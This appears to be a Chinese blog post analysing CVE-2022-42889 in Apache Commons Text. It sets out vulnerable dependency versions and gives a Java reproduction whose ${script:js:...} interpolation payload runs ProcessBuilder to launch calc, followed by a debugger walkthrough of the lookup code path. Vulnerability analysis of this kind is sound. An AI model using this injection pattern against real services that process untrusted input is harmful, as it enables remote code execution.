首页 > 其他分享 >【CVE-2022-42889】Apache Commons Text RCE

【CVE-2022-42889】Apache Commons Text RCE

时间:2024-01-23 16:35:39浏览次数:35  
标签:Text Commons commons StringSubstitutor 2022 text apache org lookup

介绍

   

组件介绍

Apache Commons Text组件通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,Demo举例:

import org.apache.commons.text.StringSubstitutor;

class Demo{
    public static void main(String[] args){
        String resolvedString = StringSubstitutor
            .replaceSystemProperties("You are running with java.version = ${java.version} and os.name = ${os.name}.");

        System.out.println(resolvedString);

        final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        interpolator.setEnableSubstitutionInVariables(true); // Allows for nested $'s.
        final String text = interpolator.replace("Base64 Decoder:${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
                                                 + "Date:                  ${date:yyyy-MM-dd}\n" + "DNS:                   ${dns:address|apache.org}\n"
                                                 + "Environment Variable:  ${env:USERNAME}\n"
                                                 + "Script:                ${script:javascript:3 + 4}\n" + "System Property:       ${sys:user.dir}\n");
        System.out.println(text);
    }
}
输出:

 


一般用于数据库查询前的语句替换,或者页面输出的时候替换。
   

漏洞介绍

 

环境搭建

idea创建Maven项目,导入如下依赖:
<dependencies>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-configuration2</artifactId>
    <version>2.7</version>
  </dependency>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
  </dependency>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-lang3</artifactId>
    <version>3.12.0</version>
  </dependency>
</dependencies>

 


测试代码:
package org.test;

import org.apache.commons.text.StringSubstitutor;

public class Main {
    public static void main(String[] args) {

        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        //        String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");
        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
        interpolator.replace(payload);
    }
}
 

复现

  运行测试代码

 


只有当软件使用StringSubstitutor API而没有正确处理任何不受信任的输入时才会受到攻击。apache推荐的解决方案是“对任何不可信任的输入进行适当的验证和过滤”。
   

分析

 

 
在org.apache.commons.text.lookup.InterpolatorStringLookup#lookup中下两个断点,这里lookup方法提取”:“后的部分作为 prefix 值,然后根据 stringLookupMap 提取其对应的 lookup 实例化对象。

StringSubstitutor.replace方法把${}中的字符截取出来进行下一步处理

 


传到lookup方法,获取到prefix值为script

 


根据 stringLookupMap 提取其对应的 lookup 实例化对象,最后通过调用ScriptEngineManager执行代码。
 

 

 


    参考链接
https://mp.weixin.qq.com/s/5B8MjKNB9UrsV6D-dKwTng
https://www.cnblogs.com/wh4am1/p/16795499.html
https://commons.apache.org/proper/commons-text/userguide.html

   

标签:Text,Commons,commons,StringSubstitutor,2022,text,apache,org,lookup
From: https://www.cnblogs.com/p1ayeeee/p/17982732

相关文章

  • Uncaught (in promise) ChunkLoadError: Loading chunk commons.xxxxxxxxx failed
    报错信息如下:Uncaught(inpromise)ChunkLoadError:Loadingchunkcommons.pages_index.pages_teacher_indexfailed. (error:http://localhost:3000/_nuxt/commons.pages_index.pages_teacher_index.js)发生情景:打开多标签时,Nuxt程序崩溃:我有一个vue、nuxt应用程序......
  • 【专题】中国中小企业数字化转型研究报告(2022)PDF合集分享(附原数据表)
    原文链接:https://tecdat.cn/?p=33471数字化转型指数报告2022合集根据“基础设施-平台-应用”三层指标体系,对全国300余个城市、10余个行业的数字化发展规模进行了评估。该报告提供了覆盖全国范围的季度数字化转型指数,为各行各业推进数字化转型提供了有益的参考。报告的评估结果可以......
  • js 创建文本节点 document.createTextNode()
    示例中的第一个div元素中不包含内容,因此不会产生文本节点。只要开始标签和结束标签之间有内容,就会创建一个文本节点,因此第二个元素会有一个文本节点的子节点,虽然它只包含空格。这个文本节点的nodeValue就是一个空格。第三个元素也有一个文本节点的子节点,其nodeValue的值为"He......
  • input标签不同的type属性值:password、text、checkbox、button、radio
    input标签用于搜集用户信息根据不同的type属性值,输入字段拥有很多形式。输入字段可以是文本字段、复选框、掩码后的文本控件、单选按钮、按钮等等。type属性:button:定义可点击的按钮checkbox:定义复选框file:定义输入字段和“浏览”按钮hidden:定义隐藏的输入字段。image:定......
  • itext,java,使用html2pdf的一些注意,以及多字体匹配的坑
    一、前提1,做一个能动态改变样式的pdf,并且将文本内容填充进去,那么使用PdfRender就做不到了,e签宝的模板接口也做不到动态改变字体的颜色等。百度查到可以使用itext的html2pdf,可是却没想到在使用过程中有那么多坑,而且很多教程都不贴html,所说html规范严格也没说到底咋严格,最终还是跟......
  • text-overflow:ellipsis 设置超出省略号不管用的原因可能是哪些
    text-overflow:ellipsis设置超出省略号不管用的原因可能是哪些text-overflow:ellipsis设置超出文本内容显示省略号(…)可能不管用的原因有以下几点:容器宽度没有限制:text-overflow:ellipsis与overflow:hidden配合使用时,需要确保文本容器具有固定的宽度,并且该宽度不足以......
  • C# TEKLA STRUCTURES 2022 二次开发 开发环境搭建
    初步接触二次TEKLA,以下仅为个人观点使用的exe方式开发的引用的nuget包程序入口点稍作处理,开启了TEKLA软件才能启动本程序,TEKLA软件关闭,本程序退出internalstaticclassProgram{///<summary>///应用程序的主入口点。///</summary>......
  • CSP2022 & NOIP2022
    before\(\text{inf}\)days据说今年GD参赛的人数特别多,很慌。8.01按照往年的惯例,又是一年集训时。去年没学好,只好重头开始。今年这一届的队友tql。算是基本上把深进给复习了一遍吧。8.22集训终于结束了。烦人的初赛又来了。CSP模拟套题接连不断。平均分\(70\)左......
  • Windows Server 2022 中文版、英文版下载 (updated Jan 2024)
    WindowsServer2022中文版、英文版下载(updatedJan2024)WindowsServer2022正式版,2024年1月更新请访问原文链接:https://sysin.org/blog/windows-server-2022/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org此次发布更新了什么?答:版本号,当然还有……2021.09......
  • Windows Server 2022 中文版、英文版下载 (updated Jan 2024)
    WindowsServer2022中文版、英文版下载(updatedJan2024)WindowsServer2022正式版,2024年1月更新请访问原文链接:https://sysin.org/blog/windows-server-2022/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org此次发布更新了什么?答:版本号,当然还有……2021.0......